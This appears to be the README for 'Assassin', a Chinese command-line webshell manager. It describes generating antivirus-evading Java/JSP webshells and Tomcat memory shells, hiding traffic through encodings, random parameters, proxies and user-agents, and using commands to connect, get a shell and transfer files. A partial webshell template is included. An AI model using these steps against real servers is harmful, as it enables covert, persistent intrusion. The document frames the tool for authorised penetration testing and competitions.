Assassin是一款精簡的基於命令行的webshell管理工具,它有著多種payload發送方式和編碼方式,以及精簡的payload代碼,使得它成為隱蔽的暗殺者,難以被很好的防禦。
工具短小精悍,生成的webshell能夠過常見殺軟,盡量減少了連接後交互的流量特徵,具體payload發送方式均可自定義。由於個人精力有限,因為懶而且菜,服務端暫時僅支持Java。
聲明:主要面向網絡安全人員已授權的合法滲透或學生AWD等比賽使用,任何人不得將其用於非法用途以及盈利等目的,否則後果自行承擔
[1]生成的webshell能過常見殺軟(webshell模板可以自定義修改)
[2] webshell僅1kb大小,客戶端與服務端同類通信僅需加載一次字節碼,後續流量只傳送命令。
[3] payload能夠以get、post、cookie、mixed四種方式發送,可動態修改,流量迷惑性較強
[4]客戶端與服務端交互流量支持多種編碼方式,可動態修改
[5] payload發送的參數名以及數量均可自定義,支持隨機ip代理和user-agent
軟件類似於MSF的操作模式




cookie: 
post: 
mixed: 
get: 
除了cookie方式,get、post、mixed可以在已經建立連接後動態修改發送方式,無需更改服務端
請求編碼:
響應編碼:
其中響應的編碼方式可以動態修改
服務端:jre 1.5及以上
客戶端:jdk 1.8及以上
{
"paramNames" : [ " user " , " file " , " id " , " eid " , " wd " , " ie " , " oq " , " name " , " son " ],
// get、post、mixed请求参数名的随机池
"cookieNames" : [ " fid " , " uuid " , " eid " , " home " , " ief " , " fl " , " oop " ],
// cookie请求参数名的随机池
"headers" :{
"Accept" : " text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 " ,
"Accept-Encoding" : " gzip, deflate, br " ,
"Accept-Language" : " Accept-Language: zh-CN,zh;q=0.9 " ,
"Upgrade-Insecure-Requests" : " 1 "
},
// http头部
"partNum" : 3 ,
// payload首次发送的分块数量
"argNum" : 5 ,
// 每次请求的参数个数,不能超过paramNames或者cookieNames的参数个数
"startRandomUserAgent" : false ,
// 是否随机useragent
"startIpAgents" : false ,
// 是否开启ip池代理模式
"startColor" : true
// 是否启用命令行颜色
}隨機useragent採用./useragents.txt裡的useragent,開啟後每次請求都會更換useragent,一般配合ip代理使用,關閉時是每次用session命令啟動一個webshell會話一個useragent。
ip代理池使用./ipagents.txt,格式為ip:posr;username:password ,不需要認證的話ip:port就可以了,開啟後每次請求會從中選擇一個代理。
Tip:windows用戶啟動後亂碼請關閉"startColor",或者使用Windows Terminal啟動
所有命令使用都比較簡單,可以通過help命令查看參數

help [command]查看具體命令的幫助

用startup.bat或startup.sh啟動
new java 123 cookie
# 生成密码为123 发送方式为cookie的普通jsp木马
new java pass post reqEncode=base36 tamper=tomcat9_filter
# 生成密码为pass 发送方式为post 请求用base36编码的tomcat9 filter内存马 Tips:add和new命令參數比較多,中括號包裹的可選參數還可以用key=value的方式賦值
之後會彈出窗口選擇保存位置

將webshell上到目標服務器
add http://192.168.48.130:8080/1.jsp 123 java method=cookie resEncode=base36
# 添加webshell 密码123 java马 cookie传参 请求编码默认base64 响应编码base36 show查看ID號
session 1連接webshell

看到提示符發生變化就可以執行webshell controller commands的命令了!
Assassin | java > getshell
Assassin | java | C: a pache-tomcat-9.0.54 b in > dir上傳文件
upload # 没参数默认传到当前目录
選擇文件即可上傳
download ./test.txt同理



第一個部分用{@key}填充,代表webshell密碼
第二個部分用{@getvalue}填充,代表獲取請求payload的代碼
第三個部分用{@decode}填充,代表解碼代碼
模板如下:
String k = "{@key}" ; // aes密钥 123456 md5的前16位
String r = "" ; //密文payload存放位置,这个参数名必须为r,其他的无所谓
// 取密文
{ @ getvalue }
byte [] cText = { @ decode };其他主要邏輯不改,就可以成功連接。
實例
請看webshell/java/下的tomcat的filter內存馬模板